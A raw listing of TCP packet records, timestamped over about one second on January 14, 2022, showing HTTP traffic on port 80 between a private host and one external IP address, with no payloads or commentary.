Jan 14, 2022 20:23:50.666495085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666495085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666522980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666536093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666538954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666562080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666588068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666598082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666600943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666634083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666652918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666671991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666677952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666698933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666721106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666722059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666739941 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666749001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666766882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666774035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666790009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666800976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666821957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666826010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666843891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666851044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666871071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666877031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666893005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666903973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666928053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666929007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666945934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666950941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666969061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.666975975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.666995049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667001009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667025089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667026043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667042017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667051077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667073965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667078018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667090893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667104959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667128086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667130947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667145967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667155027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667187929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667201042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667207003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667227030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667243958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667262077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667268038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667289972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667313099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667326927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667347908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667356014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667381048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667393923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667428970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667431116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667447090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667470932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667479038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667498112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667535067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667542934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667558908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667584896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667618036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667629957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667635918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667666912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667671919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667695999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667721033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667721987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667747021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667747974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667764902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667782068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667808056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667834044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667857885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667859077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667886019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667886972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667912960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667913914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667941093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667941093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667956114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.667968035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.667994022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668020010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668020010 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668045998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668046951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668071985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668077946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668097973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668101072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668124914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668127060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668154001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668169022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668184996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668195963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668221951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668222904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668248892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668251038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668276072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668276072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668303013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668304920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668317080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668329954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668355942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668381929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668381929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668409109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668411970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668435097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668451071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668467999 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668477058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668484926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668513060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668536901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668561935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668562889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668586969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668589115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668612957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.668615103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668641090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668658972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.668699026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.670871019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.725778103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.725831032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.725914001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.725928068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.725974083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726008892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726047039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726064920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726088047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726094007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726129055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726135015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726167917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726172924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726212025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726228952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726253986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726265907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726296902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726300955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726344109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726346970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726383924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726399899 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726428986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.726430893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.726469994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783298969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783350945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783376932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783407927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783428907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783440113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783468962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783479929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783520937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783560991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783565998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783601999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783602953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783651114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783658981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783660889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783683062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783699989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783704996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783730030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783747911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783776045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783792973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783823013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783875942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783901930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.783921957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.783979893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.905205011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.907174110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.964062929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.964102983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.964134932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.964165926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.964196920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.964199066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.964253902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.021004915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021023989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021040916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021058083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021075964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021092892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021105051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021116972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.021137953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.021182060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.077995062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078100920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078134060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078161001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078156948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078216076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078234911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078263998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078289986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078309059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078315020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078336000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078342915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078370094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078387022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078394890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078422070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078448057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078464985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078474998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078500986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.078504086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.078540087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135361910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135400057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135423899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135449886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135476112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135502100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135528088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135536909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135548115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135566950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135590076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135591030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135612011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135626078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135631084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135648012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135658026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135683060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135705948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135706902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135734081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135755062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135757923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135786057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135795116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135814905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135839939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135859013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135865927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135890961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135902882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135915995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135931969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.135941982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.135978937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.136003017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.136034012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.136051893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.136058092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.136084080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.136109114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.136133909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.136142969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.136178017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.192945957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.192981958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193007946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193030119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193053007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193075895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193078995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193097115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193118095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193125010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193152905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193166018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193178892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193207979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193219900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193233967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193260908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193288088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193300009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193314075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193334103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193341970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193367004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193377972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193392992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193418026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193442106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193454027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193466902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193490028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193490982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193512917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193532944 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193537951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193562984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193587065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193602085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193610907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193633080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193634987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193660021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193674088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193684101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193706989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193717957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193731070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193753958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193775892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193789005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193799973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193820953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193826914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193864107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193878889 CET	80	49866	81.163.30.181	192.168.2.3
